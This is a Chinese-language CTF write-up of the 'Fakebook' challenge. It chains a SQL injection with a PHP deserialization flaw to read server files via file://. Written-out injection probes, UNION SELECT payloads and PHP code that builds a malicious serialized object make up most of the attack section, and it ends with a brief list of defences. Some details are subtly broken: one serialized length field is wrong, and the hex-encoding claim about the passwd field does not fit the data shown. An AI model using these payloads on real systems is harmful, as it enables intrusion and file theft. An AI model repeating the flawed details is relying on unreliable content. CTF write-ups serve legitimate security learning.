CTF解题复盘:从异常密码哈希到反序列化漏洞的深度挖掘
在网络安全竞赛中,最迷人的时刻往往不是按部就班地完成预设挑战,而是发现那些隐藏在常规漏洞背后的"意外惊喜"。本文将分享我在分析Fakebook平台时,如何从一个看似普通的SQL注入点出发,通过捕捉异常信号,最终挖掘出隐藏的反序列化漏洞的全过程。
1. 异常信号的发现与初步分析
一切始于对Fakebook用户表的一次常规SQL注入测试。按照标准流程,我首先确认了注入点的存在:
?no=1' AND 1=1--+ # 正常返回 ?no=1' AND 1=2--+ # 无返回,确认注入存在通过ORDER BY确定列数为4后,使用联合查询获取数据:
?no=-1 UNION SELECT 1,2,3,4--+当尝试提取passwd字段内容时,出现了意料之外的结果:
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a这个"密码"立即引起了我的警觉,因为它具有几个异常特征:
- 长度远超常见哈希算法输出(SHA-256为64字符,这个有128字符)
- 字符集完全由十六进制字符组成(0-9,a-f)
- 没有明显的分隔符或标识符
常见哈希算法长度对比表:
| 算法 | 输出长度(字符) | 示例 |
|---|---|---|
| MD5 | 32 | 098f6bcd4621d373cade4e832627b4f6 |
| SHA-1 | 40 | a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 |
| SHA-256 | 64 | 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08 |
| SHA-512 | 128 | ee26b0dd4af7e749aa1a8ee3c10ae9923f618980772e473f8819a5d4940e0db27ac185f8a0e1d5f84f88bc887fd67b143732c304cc5fa9ad8e6f57f50028a8ff |
2. 从异常数据到源码审计
面对这个异常数据,我首先考虑了几种可能性:
- 多重哈希:可能是多次应用哈希算法的结果
- 组合数据:多个字段拼接而成
- 序列化数据:某种序列化格式的编码
通过进一步查询data字段,获得了更长的字符串:
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:13:"www.admin.com";}这明显是PHP的序列化数据格式。结合两个字段的特征,可以推断:
passwd字段存储的是序列化数据的十六进制表示data字段存储的是原始序列化字符串
序列化数据关键特征识别:
- 以
O:开头表示对象 8:"UserInfo"表示类名长度为8,类名为UserInfo3表示对象有3个属性- 后续是属性名和值的键值对
此时,我需要获取源代码来确认反序列化的具体实现。通过目录扫描发现robots.txt,进而获取到关键源码:
class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }3. 反序列化漏洞的利用链构建
分析源码后,发现存在以下关键点:
- 反序列化入口:从数据库读取的
data字段会被反序列化 - 危险方法:
getBlogContents()方法会调用get()方法访问blog属性指定的URL - SSRF潜在风险:
blog属性可以控制为任意协议(如file://)
漏洞利用步骤:
- 构造恶意
UserInfo对象,将blog设置为file://协议路径 - 序列化该对象
- 通过SQL注入将序列化字符串插入
data字段 - 触发反序列化后自动调用
getBlogContents()
构造Payload的PHP代码:
<?php class UserInfo { public $name = "exploit"; public $age = 1; public $blog = "file:///etc/passwd"; } $payload = serialize(new UserInfo()); echo urlencode($payload); ?>生成的序列化字符串:
O:8:"UserInfo":3:{s:4:"name";s:7:"exploit";s:3:"age";i:1;s:4:"blog";s:17:"file:///etc/passwd";}通过SQL注入插入Payload:
?no=-1 UNION SELECT 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:7:"exploit";s:3:"age";i:1;s:4:"blog";s:17:"file:///etc/passwd";}'--+4. 漏洞利用的进阶技巧与防御思考
成功读取/etc/passwd后,下一步是获取flag。通常CTF中flag存放在/flag或/var/www/html/flag.php等位置。最终构造读取flag的Payload:
?no=-1 UNION SELECT 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:7:"exploit";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+防御此类漏洞的关键措施:
输入验证:
- 对反序列化的数据源进行严格校验
- 使用白名单限制反序列化的类
安全编码:
- 避免在反序列化对象中自动调用危险方法
- 对
__wakeup()和__destruct()等魔术方法特别小心
日志监控:
- 记录异常的反序列化操作
- 监控异常的协议使用(如
file://)
漏洞利用中的实用技巧:
- 当遇到异常数据时,尝试不同解码方式(hex、base64等)
- 注意观察数据中的模式匹配(如
O:开头的PHP序列化数据) - 结合多种漏洞类型(如SQL注入+反序列化)往往能突破单一漏洞的限制